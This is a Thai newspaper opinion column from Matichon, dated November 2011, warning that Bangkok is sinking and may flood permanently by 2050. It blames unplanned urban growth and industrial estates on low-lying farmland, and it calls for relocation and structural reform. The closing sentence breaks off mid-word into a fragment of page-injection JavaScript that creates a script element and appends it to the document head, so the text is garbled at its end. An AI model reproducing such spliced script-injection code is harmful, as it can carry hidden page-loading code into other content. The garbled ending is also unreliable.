Download PDF

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 14 พฤศจิกายน 2554

 

          กรุงเทพฯ (กทม.) ตั้งอยู่บนโคลนตมของอ่าวไทยโบราณที่ถมทับเป็นดอน กำลังจมน้ำ

          ผู้เชี่ยวชาญทางธรณีวิทยาโลก คาดการณ์ว่าอีก 39 ปีข้างหน้า (พ.ศ. 2593) กทม. จะจมน้ำ เพราะระดับน้ำทะเลอ่าวไทยสูงขึ้นกว่าทุกวันนี้

          น้ำในแม่น้ำเจ้าพระยาก็สูงขึ้นตามน้ำทะเลอ่าวไทย แล้วท่วม กทม. อย่างถาวร

          กทม. เติบโตและขยายตัวอย่างรวดเร็วและไร้ระเบียบ ไร้ผังเมือง ไร้ทางน้ำไหล หรือเหลือทางน้ำไหลไว้เล็กน้อยเพียงไม่ให้น่าเกลียด ฯลฯ ล้วนเป็นปัจจัยให้น้ำหลากไหลท่วมหนักข้อกว่าที่เป็นอยู่ทุกวันนี้

          แล้วถึงขั้น กทม. จมน้ำแหงๆ

          ทางออกของ กทม. มีไม่มาก เช่น แก้ปัญหาการใช้ที่ดิน, จัดระบบผังเมืองเสียใหม่, ย้ายนิคมอุตสาหกรรมที่อยู่พื้นที่เสี่ยงน้ำท่วมออกไปที่อื่น, ฯลฯ

          ถึงที่สุดคือ ย้าย กทม. ออกไปอยู่ที่ดอนน้ำไม่ท่วม

          เมื่อน้ำทะเลอ่าวไทยสูงขึ้น น้ำแม่น้ำเจ้าพระยาสูงขึ้น น้ำแม่น้ำอื่นๆ ก็ต้องสูงขึ้นด้วย เช่น แม่น้ำท่าจีน, แม่น้ำบางปะกง, แม่น้ำป่าสัก, แม่น้ำลพบุรี, แม่น้ำน้อย ย่อมบันดาลให้เกิดน้ำท่วมตรงที่ราบลุ่มต่ำทั้งนั้น ดังท่วมให้เห็นแล้ว เช่น นิคมอุตสาหกรรมที่อยุธยา, ปทุมธานี, ฯลฯ

          แท้จริงแล้วพื้นที่เหล่านี้ใช้ทำเกษตรกรรมมาแต่โบราณกาล แต่ฤทธิ์โลภ “เอาแต่ได้” ของคนยุคหลัง เลยฉวยมาทำเป็นนิคมอุตสาหกรรมอย่างมักง่าย แล้วน้ำก็หลากท่วมพินาศยับไปอย่างง่ายๆ

          รัฐบาลนี้อาจต้องกอบกู้“ชั่วคราว” บรรเทาให้นิคมอุตสาหกรรมที่ถูกน้ำหลากท่วมทุกแห่ง แต่ในอนาคตต้องเอาพื้นที่ลุ่มต่ำนี้คืนมาเป็น “แก้มลิง” ให้จงได้ แล้วผลักดันนิคมอุตสาหกรรมไปอยู่ที่ดอนแห่งใหม่ปลอดภัยจากน้ำหลาก

          แต่ “สร้างบ้านแปลงเมือง” ใหม่คงไม่สำเร็จหรอก ถ้าไม่ปฏิรูปโครงสร้างอำนาจและอื่นๆ

          เพราะเคยถกกันเรื่องนี้นานมากกว่า 40 ปีมาแล้ว แต่ไม่ได้ปฏิรูปโครงสร้างอะไรทั้งนั้น จนน้ำหลากท่วมใหญ่หลวงลีดเลียง จนบ้านเมืองเพียงละลายd.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement(‘script’);